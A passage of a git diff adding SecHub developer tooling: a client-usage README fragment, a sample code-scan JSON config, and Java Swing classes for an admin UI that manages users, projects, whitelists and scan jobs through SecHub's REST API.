`sechub-prod-codescan1.json` which can be applied to installed sechub client. + +## How to use +### Ensure you got an installed sechubclient at your machine +just type `sechub -version` in a `bash`. + +You should have now information about sechub client version or an error when not installed. + +#### Install local if necessary +If not installed or you want a newer client version just call `./gradlew installGoClientLocal` + +### Execute sechub client with script +go to the folder where the scripts are located and execute sechub - for example in thc/prod: +`sechub -configfile sechub-prod-codescan1.json -user $yourUser -apitoken $yourApiToken scan` + diff --git a/sechub-developertools/client-test/thc/prod/sechub-codescan-testproject1.json b/sechub-developertools/client-test/thc/prod/sechub-codescan-testproject1.json new file mode 100644 index 0000000000..0e21a06c87 --- /dev/null +++ b/sechub-developertools/client-test/thc/prod/sechub-codescan-testproject1.json @@ -0,0 +1,13 @@ +{ + + "apiVersion": "1.0", + "server" : "https://sechub.intranet.example.org", + + "project" : "testproject1", + + "codeScan": { + "fileSystem": { + "folders": ["../../../src/main/java"] + } + } +} \ No newline at end of file diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ConfigProvider.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ConfigProvider.java new file mode 100644 index 0000000000..85a4010e19 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ConfigProvider.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin; + +public interface ConfigProvider { + + public String getApiToken(); + + public String getUser(); + + public String getServer(); + + public int getPort(); + + public void handleClientError(String statusText); +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/DeveloperAdministration.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/DeveloperAdministration.java new file mode 100644 index 0000000000..a1860b1a0c --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/DeveloperAdministration.java @@ -0,0 +1,287 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.UUID; + +import org.springframework.http.client.ClientHttpResponse; +import org.springframework.web.client.DefaultResponseErrorHandler; +import org.springframework.web.client.ResponseErrorHandler; + +import com.daimler.sechub.integrationtest.api.UserContext; +import com.daimler.sechub.integrationtest.internal.TestJSONHelper; +import com.daimler.sechub.integrationtest.internal.TestRestHelper; +import com.daimler.sechub.test.TestURLBuilder; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ArrayNode; + +public class DeveloperAdministration { + + private ConfigProvider provider; + private AdminUserContext userContext; + private TestRestHelper restHelper; + private TestURLBuilder urlBuilder; + + public DeveloperAdministration(ConfigProvider provider) { + this.provider = provider; + this.userContext = new AdminUserContext(); + this.restHelper = new TestRestHelper(userContext) { + @Override + protected ResponseErrorHandler createErrorHandler() { + return new DefaultResponseErrorHandler() { + + @Override + public void handleError(ClientHttpResponse response) throws IOException { + StringBuilder sb = new StringBuilder(); + String statusText = response.getStatusText(); + sb.append("status code::"); + sb.append(response.getStatusCode()); + if (statusText != null) { + sb.append(", text:"); + sb.append(statusText); + } + try (BufferedReader br = new BufferedReader(new InputStreamReader(response.getBody(), "UTF-8"))) { + String line = null; + sb.append(",body:"); + while ((line = br.readLine()) != null) { + sb.append("\n"); + sb.append(line); + } + } catch (IOException e) { + provider.handleClientError("failed to read response body:" + e.getMessage()); + } + provider.handleClientError(sb.toString()); + + } + }; + } + + }; + } + + public TestURLBuilder getUrlBuilder() { + if (urlBuilder == null) { + int port = provider.getPort(); + String server = provider.getServer(); + urlBuilder = new TestURLBuilder("https", port, server); + } + return urlBuilder; + } + + public String fetchSignups() { + return getRestHelper().getJSon(getUrlBuilder().buildAdminListsUserSignupsUrl()); + } + + public TestRestHelper getRestHelper() { + return restHelper; + } + + public String doSignup(String string) { + getRestHelper().post(getUrlBuilder().buildAdminAcceptsUserSignUpUrl(string)); + return "SENT"; + } + + public String gGrantAdminRightsTo(String targetUser) { + getRestHelper().post(getUrlBuilder().buildAdminGrantsSuperAdminRightsTo(targetUser)); + return "SENT"; + } + public String revokeAddminRightsFrom(String targetUser) { + getRestHelper().post(getUrlBuilder().buildAdminRevokesSuperAdminRightsFrom(targetUser)); + return "SENT"; + } + + + public String createNewUserSignup(String name, String email) { + + String json = "{\"apiVersion\":\"1.0\",\r\n" + " \"userId\":\"" + name + "\",\r\n" + " \"emailAdress\":\"" + email + "\"}"; + return getRestHelper().postJSon(getUrlBuilder().buildUserSignUpUrl(), json); + } + + public String fetchUserList() { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminListsUsersUrl()); + } + public String fetchAdminList() { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminListsAdminsUrl()); + } + + public String fetchRunningJobsList() { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminFetchAllRunningJobsUrl()); + } + + public String createProject(String projectId, String description, String owner, List whiteListURLs) { + /* @formatter:off */ + StringBuilder json = new StringBuilder(); + if (description==null || description.isEmpty()) { + description = "description for project "+projectId; + } + TestJSONHelper jsonHelper = TestJSONHelper.get(); + json.append("{\n" + + " \"apiVersion\":\"1.0\",\n" + + " \"name\":\""+projectId+"\",\n" + + " \"owner\":\""+owner+"\",\n" + + " \"description\":\""+description+"\""); + if (! whiteListURLs.isEmpty()) { + json.append(",\n \"whiteList\" : {\"uris\":["); + + for (Iterator it = whiteListURLs.iterator();it.hasNext();) { + String url = it.next(); + json.append("\""+url+"\""); + if (it.hasNext()){ + json.append(","); + } + } + json.append("]\n"); + json.append(" }\n"); + } + + json.append("}\n"); + jsonHelper.assertValidJson(json.toString()); + /* @formatter:on */ + return getRestHelper().postJSon(getUrlBuilder().buildAdminCreatesProjectUrl(), json.toString()); + } + + public String fetchProjectList() { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminListsProjectsUrl()); + } + + public String fetchProjectInfo(String projectId) { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminShowsProjectDetailsUrl(projectId)); + } + + public String fetchUserInfo(String userId) { + return getRestHelper().getStringFromURL(getUrlBuilder().buildAdminShowsUserDetailsUrl(userId)); + } + + public List fetchProjectWhiteList(String projectId) { + List result = new ArrayList<>(); + String json = getRestHelper().getJSon(getUrlBuilder().buildAdminFetchProjectInfoUrl(projectId)); + TestJSONHelper jsonHelper = TestJSONHelper.get(); + JsonNode jsonNode = jsonHelper.readTree(json); + JsonNode whitelist = jsonNode.get("whiteList"); + if (whitelist instanceof ArrayNode) { + ArrayNode arrayNode = (ArrayNode) whitelist; + for (JsonNode node : arrayNode) { + String uriText = node.textValue(); + result.add(uriText); + } + + } + + return result; + } + + public String fetchProjectScanLogs(String projectId) { + String json = getRestHelper().getJSon(getUrlBuilder().buildAdminFetchesScanLogsForProject(projectId)); + return json; + } + + public String fetchJSONReport(String projectId, UUID sechubJobUUID) { + String json = getRestHelper().getJSon(getUrlBuilder().buildFetchReport(projectId, sechubJobUUID)); + return json; + } + + public String fetchJobStatus(String projectId, String jobUUID) { + return getRestHelper().getStringFromURL(getUrlBuilder().buildFetchJobStatus(projectId, jobUUID)); + } + + public void updateProjectWhiteList(String projectId, List result) { + StringBuilder sb = new StringBuilder(); + sb.append("{\"apiVersion\":\"1.0\", \"whiteList\":{\"uris\":["); + for (Iterator it = result.iterator(); it.hasNext();) { + sb.append("\""); + sb.append(it.next()); + sb.append("\""); + if (it.hasNext()) { + sb.append(","); + } + + } + sb.append("]}}"); + + getRestHelper().postJSon(getUrlBuilder().buildUpdateProjectWhiteListUrl(projectId), sb.toString()); + } + + public String assignUserToProject(String userId, String projectId) { + getRestHelper().post(getUrlBuilder().buildAdminAssignsUserToProjectUrl(userId, projectId)); + return "assigned " + userId + " to project " + projectId; + } + + public String unassignUserFromProject(String userId, String projectId) { + getRestHelper().delete(getUrlBuilder().buildAdminUnassignsUserFromProjectUrl(userId, projectId)); + return "unassigned " + userId + " to project " + projectId; + } + + public String deleteProject(String projectId) { + getRestHelper().post(getUrlBuilder().buildAdminDeletesProject(projectId)); + return "sent"; + } + + public String triggerDownloadFullScan(UUID sechubJobUUID) { + + String url = getUrlBuilder().buildAdminDownloadsZipFileContainingFullScanDataFor(sechubJobUUID); + return commonTriggerDownloadInBrowser(url); + } + + public String triggerDownloadReport(String projectId, UUID sechubJobUUID) { + String url = getUrlBuilder().buildFetchReport(projectId, sechubJobUUID); + return commonTriggerDownloadInBrowser(url); + + } + + private String commonTriggerDownloadInBrowser(String url) { + try { + java.awt.Desktop.getDesktop().browse(new URI(url)); + } catch (IOException | URISyntaxException e) { + e.printStackTrace(); + return "Cannot open your system browser for url:" + url + ", please copy url and download in your browser manually."; + } + return "Triggered download of " + url + " inside your system browser."; + } + + + private class AdminUserContext implements UserContext { + + @Override + public String getUserId() { + return provider.getUser(); + } + + @Override + public String getApiToken() { + return provider.getApiToken(); + } + + @Override + public boolean isAnonymous() { + return false; + } + + @Override + public void updateToken(String newToken) { + /* + * ignore - we do not need this here, because we just use the edited parts + * inside text fields + */ + } + + @Override + public String getEmail() { + return "superadmin@example.org"; + } + + } + + + + + + + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CommandUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CommandUI.java new file mode 100644 index 0000000000..a22f998604 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CommandUI.java @@ -0,0 +1,197 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.BorderLayout; +import java.awt.Dimension; +import java.util.Queue; +import java.util.concurrent.ConcurrentLinkedQueue; + +import javax.swing.JMenu; +import javax.swing.JMenuBar; +import javax.swing.JMenuItem; +import javax.swing.JPanel; +import javax.swing.JProgressBar; + +import com.daimler.sechub.developertools.admin.ui.action.AbstractUIAction; +import com.daimler.sechub.developertools.admin.ui.action.ActionSupport; +import com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.FetchMockMailsAction; +import com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.testdata.CreateScenario3TestDataAction; +import com.daimler.sechub.developertools.admin.ui.action.integrationtestserver.testdata.TriggerNewWebScanJobScenario3User1Action; +import com.daimler.sechub.developertools.admin.ui.action.job.DownloadFullscanDataForJobAction; +import com.daimler.sechub.developertools.admin.ui.action.job.DownloadHTMLReportForJobAction; +import com.daimler.sechub.developertools.admin.ui.action.job.GetJSONReportForJobAction; +import com.daimler.sechub.developertools.admin.ui.action.job.GetJobStatusAction; +import com.daimler.sechub.developertools.admin.ui.action.job.ShowRunningBatchJobsListAction; +import com.daimler.sechub.developertools.admin.ui.action.project.AssignUserToProjectAction; +import com.daimler.sechub.developertools.admin.ui.action.project.CreateProjectAction; +import com.daimler.sechub.developertools.admin.ui.action.project.DeleteProjectAction; +import com.daimler.sechub.developertools.admin.ui.action.project.ShowProjectDetailAction; +import com.daimler.sechub.developertools.admin.ui.action.project.ShowProjectListAction; +import com.daimler.sechub.developertools.admin.ui.action.project.ShowProjectsScanLogsAction; +import com.daimler.sechub.developertools.admin.ui.action.project.UnassignUserFromProjectAction; +import com.daimler.sechub.developertools.admin.ui.action.project.UpdateProjectWhitelistAction; +import com.daimler.sechub.developertools.admin.ui.action.user.AcceptUserSignupAction; +import com.daimler.sechub.developertools.admin.ui.action.user.ListSignupsAction; +import com.daimler.sechub.developertools.admin.ui.action.user.ShowAdminListAction; +import com.daimler.sechub.developertools.admin.ui.action.user.ShowUserDetailAction; +import com.daimler.sechub.developertools.admin.ui.action.user.ShowUserListAction; +import com.daimler.sechub.developertools.admin.ui.action.user.priviledges.GrantAdminRightsToUserAction; +import com.daimler.sechub.developertools.admin.ui.action.user.priviledges.RevokeAdminRightsFromAdminAction; +import com.daimler.sechub.integrationtest.api.RunMode; + +public class CommandUI { + private JPanel panel; + private JMenuBar menuBar; + + private JProgressBar progressBar; + private Queue queue = new ConcurrentLinkedQueue<>(); + UIContext context; + + public JPanel getPanel() { + return panel; + } + + public JMenuBar getMenuBar() { + return menuBar; + } + + public CommandUI(UIContext context) { + this.context = context; + + progressBar = new JProgressBar(); + progressBar.setIndeterminate(false); + progressBar.setPreferredSize(new Dimension(400,30)); + + panel = new JPanel(new BorderLayout()); +// panel.setBorder(BorderFactory.createLineBorder(Color.RED)); + + panel.add(progressBar, BorderLayout.EAST); + + menuBar = new JMenuBar(); + createGlobalMenu(); + createJobMenu(); + createProjectMenu(); + createUserMenu(); + + createEditMenu(); + createIntegrationTestServerMenu(); + + } + + public void createEditMenu() { + JMenu mainMenu = new JMenu("Edit"); + ActionSupport support = new ActionSupport(); + support.apply(mainMenu, support.createDefaultCutCopyAndPastActions()); + menuBar.add(mainMenu); + } + + private void createUserMenu() { + JMenu menu = new JMenu("User"); + menuBar.add(menu); + + JMenu signupMenu = new JMenu("Signup"); + menu.add(signupMenu); + add(signupMenu, new ListSignupsAction(context)); + add(signupMenu, new AcceptUserSignupAction(context)); + + menu.addSeparator(); + add(menu, new ShowUserListAction(context)); + add(menu, new ShowUserDetailAction(context)); + add(menu, new ShowAdminListAction(context)); + menu.addSeparator(); + add(menu, new AssignUserToProjectAction(context)); + add(menu, new UnassignUserFromProjectAction(context)); + menu.addSeparator(); + + JMenu grantMenu = new JMenu("Grant"); + add(grantMenu,new GrantAdminRightsToUserAction(context)); + menu.add(grantMenu); + + JMenu revokeMenu = new JMenu("Revoke"); + add(revokeMenu,new RevokeAdminRightsFromAdminAction(context)); + menu.add(revokeMenu); + + } + + private void createProjectMenu() { + JMenu menu = new JMenu("Project"); + menuBar.add(menu); + + add(menu, new CreateProjectAction(context)); + add(menu, new DeleteProjectAction(context)); + menu.addSeparator(); + add(menu, new ShowProjectListAction(context)); + add(menu, new ShowProjectDetailAction(context)); + add(menu, new ShowProjectsScanLogsAction(context)); + add(menu, new UpdateProjectWhitelistAction(context)); + menu.addSeparator(); + add(menu, new AssignUserToProjectAction(context)); + add(menu, new UnassignUserFromProjectAction(context)); + + } + + private void createGlobalMenu() { + JMenu menu = new JMenu("Global"); + menuBar.add(menu); + + add(menu, new ShowRunningBatchJobsListAction(context)); + add(menu, new ShowAdminListAction(context)); + + + } + private void createJobMenu() { + JMenu menu = new JMenu("Job"); + menuBar.add(menu); + + add(menu, new GetJobStatusAction(context)); + add(menu, new GetJSONReportForJobAction(context)); + menu.addSeparator(); + add(menu, new DownloadHTMLReportForJobAction(context)); + add(menu, new DownloadFullscanDataForJobAction(context)); + + + } + + private void createIntegrationTestServerMenu() { + JMenu menu = new JMenu("Integration TestServer"); + menuBar.add(menu); + if (! ConfigurationSetup.isIntegrationTestServerMenuEnabled()) { + menu.setEnabled(false); + menu.setToolTipText("Not enabled, use \"-D"+ConfigurationSetup.ENABLE_INTEGRATION_TESTSERVER_MENU.getId()+"=true\" to enable it and run an integration test server!"); + } + add(menu, new FetchMockMailsAction(context)); + menu.addSeparator(); + + JMenu testDataMenu = new JMenu("Testdata"); + menu.add(testDataMenu); + add(testDataMenu, new CreateScenario3TestDataAction(context)); + testDataMenu.addSeparator(); + add(testDataMenu, new TriggerNewWebScanJobScenario3User1Action(context,RunMode.NORMAL)); + add(testDataMenu, new TriggerNewWebScanJobScenario3User1Action(context,RunMode.LONG_RUNNING_BUT_GREEN)); + + + } + + private void add(JMenu menu, AbstractUIAction action) { + JMenuItem menuItem = new JMenuItem(action); + menu.add(menuItem); + + } + + public void startActionProgress(String threadName) { + queue.add(threadName); + handleQueueState(); + } + + public void stopActionProgress(String threadName) { + queue.remove(threadName); + handleQueueState(); + } + + private void handleQueueState() { + boolean showProgress = !queue.isEmpty(); + progressBar.setIndeterminate(showProgress); + context.getGlassPaneUI().block(showProgress); + } + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/ConfigurationSetup.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/ConfigurationSetup.java new file mode 100644 index 0000000000..49d624380d --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/ConfigurationSetup.java @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +public enum ConfigurationSetup { + + ADMIN_USERNAME ("sechub.developertools.admin.userid"), + ADMIN_APITOKEN ("sechub.developertools.admin.apitoken"), + ADMIN_SERVER ("sechub.developertools.admin.server"), + ADMIN_SERVER_PORT ("sechub.developertools.admin.serverport"), + ENABLE_INTEGRATION_TESTSERVER_MENU ("sechub.developertools.admin.integrationtestserver"), + ; + + private String id; + + private ConfigurationSetup(String id) { + this.id=id; + } + + public String getId() { + return id; + } + + public static boolean isIntegrationTestServerMenuEnabled() { + return Boolean.getBoolean(ConfigurationSetup.ENABLE_INTEGRATION_TESTSERVER_MENU.getId()); + } + + public static String description() { + StringBuilder sb = new StringBuilder(); + sb.append("Use following system properties:\n"); + for (ConfigurationSetup setup: values()) { + sb.append("-D"); + sb.append(setup.id); + sb.append("="); + String val = System.getProperty(setup.id); + if (val!=null && !val.isEmpty()) { + val="****"; + } + sb.append(val); + sb.append("\n"); + } + return sb.toString(); + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CredentialUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CredentialUI.java new file mode 100644 index 0000000000..98372b9369 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/CredentialUI.java @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.Dimension; +import java.awt.FlowLayout; + +import javax.swing.JLabel; +import javax.swing.JPanel; +import javax.swing.JPasswordField; +import javax.swing.JSpinner; +import javax.swing.JTextField; +import javax.swing.SpinnerNumberModel; + +import com.daimler.sechub.integrationtest.api.TestAPI; + +public class CredentialUI { + JPasswordField passwordField; + JTextField useridField; + JTextField serverField; + JSpinner serverPortSpinner; + private JPanel panel; + + public JPanel getPanel() { + return panel; + } + + public CredentialUI() { + String port = System.getProperty(ConfigurationSetup.ADMIN_SERVER_PORT.getId(),"443"); + String userId = System.getProperty(ConfigurationSetup.ADMIN_USERNAME.getId(), ""); + String apiToken = System.getProperty(ConfigurationSetup.ADMIN_APITOKEN.getId(), ""); + String server = System.getProperty(ConfigurationSetup.ADMIN_SERVER.getId(), ""); + + assertNotEmpty(userId,"userid"); + assertNotEmpty(apiToken,"apitoken"); + assertNotEmpty(server,"server"); + + panel = new JPanel(new FlowLayout(FlowLayout.LEFT)); +// panel.setBorder(BorderFactory.createLineBorder(Color.RED)); + useridField= new JTextField(userId); + passwordField= new JPasswordField(apiToken); + serverField = new JTextField(server); + + serverPortSpinner = new JSpinner(new SpinnerNumberModel()); + JSpinner.NumberEditor editor = new JSpinner.NumberEditor(serverPortSpinner); + editor.getFormat().setGroupingUsed(false); + serverPortSpinner.setEditor(editor); + serverPortSpinner.setValue(new Integer(port)); + + /* when we run integration test server mode, we use the passwords from integration test super admin */ + if (ConfigurationSetup.isIntegrationTestServerMenuEnabled()) { + useridField.setText(TestAPI.SUPER_ADMIN.getUserId()); + passwordField.setText(TestAPI.SUPER_ADMIN.getApiToken()); + } + + serverField.setPreferredSize(new Dimension(300,30)); + useridField.setPreferredSize(new Dimension(200,30)); + passwordField.setPreferredSize(new Dimension(200,30)); + serverPortSpinner.setPreferredSize(new Dimension(100,30)); + + panel.add(new JLabel("Server:")); + panel.add(serverField); + panel.add(new JLabel("Port:")); + panel.add(serverPortSpinner); + panel.add(new JLabel("User:")); + panel.add(useridField); + panel.add(new JLabel("API-Token:")); + panel.add(passwordField); + + /* currently there is a bug - changes are not handled . So we disable edit fields etc.*/ + serverField.setEnabled(false); + useridField.setEnabled(false); + passwordField.setEnabled(false); + serverPortSpinner.setEnabled(false); + + serverField.setToolTipText(ConfigurationSetup.ADMIN_SERVER.getId()); + useridField.setToolTipText(ConfigurationSetup.ADMIN_USERNAME.getId()); + passwordField.setToolTipText(ConfigurationSetup.ADMIN_APITOKEN.getId()); + serverPortSpinner.setToolTipText(ConfigurationSetup.ADMIN_SERVER_PORT.getId()); + } + + private void assertNotEmpty(String part, String missing) { + if (part==null || part.isEmpty()) { + throw new IllegalStateException("Missing configuration entry:"+missing+".\nYou have to configure these values:"+ConfigurationSetup.description()); + } + + } + + public int getPortNumber() { + return ((Integer)serverPortSpinner.getValue()).intValue(); + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DeveloperAdministrationUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DeveloperAdministrationUI.java new file mode 100644 index 0000000000..3ffe8f02e5 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DeveloperAdministrationUI.java @@ -0,0 +1,116 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.BorderLayout; +import java.awt.Container; + +import javax.swing.JFrame; +import javax.swing.UIManager; +import javax.swing.plaf.nimbus.NimbusLookAndFeel; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.developertools.admin.ConfigProvider; +import com.daimler.sechub.developertools.admin.DeveloperAdministration; + +public class DeveloperAdministrationUI implements ConfigProvider, UIContext { + + private static final Logger LOG = LoggerFactory.getLogger(DeveloperAdministrationUI.class); + + public static void main(String[] args) { + new DeveloperAdministrationUI().start(args); + } + + private DeveloperAdministration administration; + private CredentialUI credentialUI; + private CommandUI commandPanelUI; + private OutputUI outputPanelUI; + private GlassPaneUI glassPaneUI; + private DialogUI dialogUI; + + public DeveloperAdministration getAdministration() { + return administration; + } + + public OutputUI getOutputUI() { + return outputPanelUI; + } + + public CommandUI getCommandUI() { + return commandPanelUI; + } + + public CredentialUI getCredentialUI() { + return credentialUI; + } + + public GlassPaneUI getGlassPaneUI() { + return glassPaneUI; + } + + @Override + public DialogUI getDialogUI() { + return dialogUI; + } + + private void start(String[] args) { + + useNimbusLookAndFeel(); + + JFrame frame = new JFrame(getClass().getSimpleName()); + + Container contentPane = frame.getContentPane(); + + credentialUI = new CredentialUI(); + administration = new DeveloperAdministration(this); + commandPanelUI = new CommandUI(this); + outputPanelUI = new OutputUI(); + glassPaneUI = new GlassPaneUI(this, frame); + dialogUI = new DialogUI(frame); + + contentPane.add(outputPanelUI.getPanel(), BorderLayout.CENTER); + contentPane.add(credentialUI.getPanel(), BorderLayout.NORTH); + contentPane.add(commandPanelUI.getPanel(), BorderLayout.SOUTH); + + frame.setJMenuBar(commandPanelUI.getMenuBar()); + + frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); + frame.setSize(1024, 768); + frame.setVisible(true); + } + + private void useNimbusLookAndFeel() { + try { + UIManager.setLookAndFeel(new NimbusLookAndFeel()); + } catch (Exception e) { + LOG.error("NimbusLookAndFeel init failed", e); + } + } + + @Override + public String getApiToken() { + return new String(credentialUI.passwordField.getPassword()); + } + + @Override + public String getUser() { + return credentialUI.useridField.getText(); + } + + @Override + public String getServer() { + return credentialUI.serverField.getText(); + } + + @Override + public int getPort() { + return credentialUI.getPortNumber(); + } + + @Override + public void handleClientError(String error) { + outputPanelUI.output("ERROR:\n" + error); + } + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DialogUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DialogUI.java new file mode 100644 index 0000000000..c99d79c1e7 --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/DialogUI.java @@ -0,0 +1,136 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.BorderLayout; +import java.awt.Dimension; +import java.awt.FlowLayout; +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import javax.swing.JButton; +import javax.swing.JDialog; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; +import javax.swing.JTextArea; + +import com.daimler.sechub.developertools.admin.ui.action.ActionSupport; + +public class DialogUI { + + private JFrame frame; + + public DialogUI(JFrame frame) { + this.frame = frame; + } + + public boolean confirm(String message) { + int x = JOptionPane.showConfirmDialog(frame, message, "Please confirm", JOptionPane.OK_OPTION); + return x == JOptionPane.OK_OPTION; + } + + public void warn(String message) { + JOptionPane.showMessageDialog(frame, message, "Warning", JOptionPane.WARNING_MESSAGE); + } + + /** + * Shows an input dialog for user. Last entered values for given idenifier will + * be shown + * + * @param message + * @param identifier + * @return + */ + public Optional getUserInput(String message, String defaultValue) { + return Optional.ofNullable(JOptionPane.showInputDialog(frame, message, defaultValue)); + } + + public List editList(String title, List list){ + SimpleTextDialog dialog = new SimpleTextDialog(title); + StringBuilder sb= new StringBuilder(); + for (String part: list) { + sb.append(part); + sb.append("\n"); + } + dialog.setText(sb.toString()); + dialog.setToolTip("Each line represents a list entry!"); + dialog.setVisible(true); + + if (! dialog.isOkPresssed()) { + return null;/*NOSONAR*/ + } + + String[] splittedLines = dialog.getText().split("\n"); + + List result = new ArrayList<>(); + for (String line: splittedLines) { + if (line==null) { + continue; + } + String v = line.trim(); + if (! v.isEmpty()) { + result.add(v); + } + } + return result; + } + + private class SimpleTextDialog /*NOSONAR*/extends JDialog{ + + private static final long serialVersionUID = 1L; + private JTextArea textArea; + private JButton okButon; + private boolean okPresssed; + + SimpleTextDialog(String title){ + super(frame,title,true); + setLayout(new BorderLayout()); + this.textArea = new JTextArea(); + this.textArea.setPreferredSize(new Dimension(500,200)); + JPopupMenu popup = new JPopupMenu(); + textArea.setComponentPopupMenu(popup); + ActionSupport support = new ActionSupport(); + support.apply(popup, support.createDefaultCutCopyAndPastActions()); + + add(new JScrollPane(textArea),BorderLayout.CENTER); + + this.okButon=new JButton("OK"); + this.okButon.addActionListener(this::okPressed); + JPanel lowerPanel = new JPanel(); + lowerPanel.setLayout(new FlowLayout(FlowLayout.CENTER)); + lowerPanel.add(okButon); + add(lowerPanel,BorderLayout.SOUTH); + + pack(); + setLocationRelativeTo(frame); + + } + + public void setToolTip(String text) { + textArea.setToolTipText(text); + } + + public boolean isOkPresssed() { + return okPresssed; + } + + public void setText(String text) { + this.textArea.setText(text); + } + + public String getText() { + return textArea.getText(); + } + private Object okPressed(ActionEvent x) { + okPresssed=true; + setVisible(false); + return null; + } + } + + +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/GlassPaneUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/GlassPaneUI.java new file mode 100644 index 0000000000..63a393281c --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/GlassPaneUI.java @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.Color; + +import javax.swing.JFrame; +import javax.swing.JPanel; +import javax.swing.SwingUtilities; + +public class GlassPaneUI { + + private MyGlassPane glassPane; + + public GlassPaneUI(UIContext context, JFrame frame) { + this.glassPane = new MyGlassPane(); + frame.setGlassPane(glassPane); + } + + public void block(boolean block) { + SwingUtilities.invokeLater(()-> handleBlock(block)); + } + + private Object handleBlock(boolean block) { + glassPane.setVisible(block); + return null; + } + + private class MyGlassPane extends JPanel{ + + private static final long serialVersionUID = 1L; + + public MyGlassPane() { + Color color = new Color(0.0f, 0.0f, 0.0f, 0.5f); + setBackground(color); + setVisible(false); + } + + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/OutputUI.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/OutputUI.java new file mode 100644 index 0000000000..6cdc56c37f --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/OutputUI.java @@ -0,0 +1,54 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import java.awt.BorderLayout; + +import javax.swing.JPanel; +import javax.swing.JPopupMenu; +import javax.swing.JScrollPane; +import javax.swing.JTextArea; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.developertools.admin.ui.action.ActionSupport; + +public class OutputUI { + private JPanel panel; + private JTextArea outputTextArea; + + private static final Logger LOG = LoggerFactory.getLogger(OutputUI.class); + + public JPanel getPanel() { + return panel; + } + + public OutputUI() { + panel = new JPanel(new BorderLayout()); +// panel.setBorder(BorderFactory.createLineBorder(Color.YELLOW)); + + outputTextArea = new JTextArea(); + JPopupMenu popup = new JPopupMenu(); + outputTextArea.setComponentPopupMenu(popup); + + ActionSupport support = new ActionSupport(); + support.apply(popup, support.createDefaultCutCopyAndPastActions()); + + panel.add(new JScrollPane(outputTextArea), BorderLayout.CENTER); + + } + + public void output(String text) { + outputTextArea.append(text); + outputTextArea.append("\n"); + outputTextArea.setCaretPosition(outputTextArea.getText().length()); + } + + public void error(String message, Exception e) { + LOG.error(message, e); + + output(message); + output(e.toString()); + output(">> Look into your shell or IDE console output for details!"); + } +} diff --git a/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/UIContext.java b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/UIContext.java new file mode 100644 index 0000000000..afe3e180be --- /dev/null +++ b/sechub-developertools/src/main/java/com/daimler/sechub/developertools/admin/ui/UIContext.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.developertools.admin.ui; + +import com.daimler.sechub.developertools.admin.DeveloperAdministration; + +public interface UIContext 